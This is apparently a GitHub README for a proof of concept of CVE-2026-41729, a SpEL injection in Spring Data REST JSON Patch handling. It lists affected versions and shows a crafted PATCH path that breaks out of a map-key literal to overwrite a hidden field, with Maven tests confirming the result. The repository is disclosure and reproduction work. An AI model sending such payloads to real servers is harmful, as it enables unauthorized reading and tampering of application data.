daehyuh/cve-2026-41729CVE-2026-41729 PoC
This repository is a minimal reproduction PoC for CVE-2026-41729, as disclosed in the official Spring security advisory.
Spring Data REST SpEL Injection via Map Key in JSON PatchAV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:NWhen Spring Data REST processes a JSON Patch request (Content-Type: application/json-patch+json), it has an issue where map key path segments of a map-typed property are directly interpolated into SpEL expressions.
According to the official advisory, if a persistent entity exposes a Map-typed property and an attacker can send a PATCH request to that item resource, they can manipulate map key segments to break out of the intended map indexer literal and evaluate a SpEL sub-expression in the context of the aggregate root. Both read patch paths and write patch paths are affected.
This PoC uses a write patch path to demonstrate that a @JsonIgnore field, which is not exposed in the normal REST representation, can be modified via a crafted JSON Patch path.
Affected products per the official advisory:
Affected versions:
3.7.0 - 3.7.194.3.0 - 4.3.164.4.0 - 4.4.144.5.0 - 4.5.115.0.0 - 5.0.5Fixed versions:
3.7.204.3.174.4.154.5.12 or 4.5.11.15.0.6 or 5.0.5.1The test starts an actual Spring Boot application and sends an HTTP PATCH request to a Spring Data REST repository endpoint.
The domain object has the following structure:
people maphiddenChildren map inside each Person, but hidden from Jackson/Spring Data REST representationIn a normal REST response, hiddenChildren and its internal values are not visible.
GET /wrappers/sample
A JSON Patch that directly addresses hidden properties is rejected.
PATCH /wrappers/sample
Content-Type: application/json-patch+json
[
{
"op": "replace",
"path": "/people/a/hiddenChildren/b/name",
"value": "after"
}
]
However, using a crafted map key, the JSON Patch path to SpEL path conversion process in Spring Data REST can break out of the intended map key literal and lead to hidden property paths.
PATCH /wrappers/sample
Content-Type: application/json-patch+json
[
{
"op": "replace",
"path": "/people/a'].hiddenChildren['b/name",
"value": "after"
}
]
In a vulnerable version, this request succeeds and the internal value changes as follows:
before -> after
The test confirms that the map does not have an actual key named a'].hiddenChildren['b, but rather that the hidden property path was modified due to expression breakout.
Windows:
.\mvnw.cmd test
macOS/Linux:
./mvnw test
Expected result with a vulnerable version:
Tests run: 3, Failures: 0, Errors: 0, Skipped: 0
BUILD SUCCESS
Test success means the vulnerability was reproduced. That is, with a vulnerable dependency, a crafted JSON Patch request succeeds, proving that the hidden internal state can be modified.
This repository uses a Spring Boot 3.5.14 parent, which resolves to spring-data-rest-webmvc 4.5.11. This falls within the affected range 4.5.0 - 4.5.11 per the official advisory.
An attacker who can send JSON Patch requests to a Spring Data REST endpoint can manipulate map keys to trigger unintended SpEL path evaluation on the server side. As a result, internal values in the object graph that the application intended to keep hidden from REST representation can be read or modified.
The official advisory rated the confidentiality and integrity impact as High.
The official Spring advisory credits: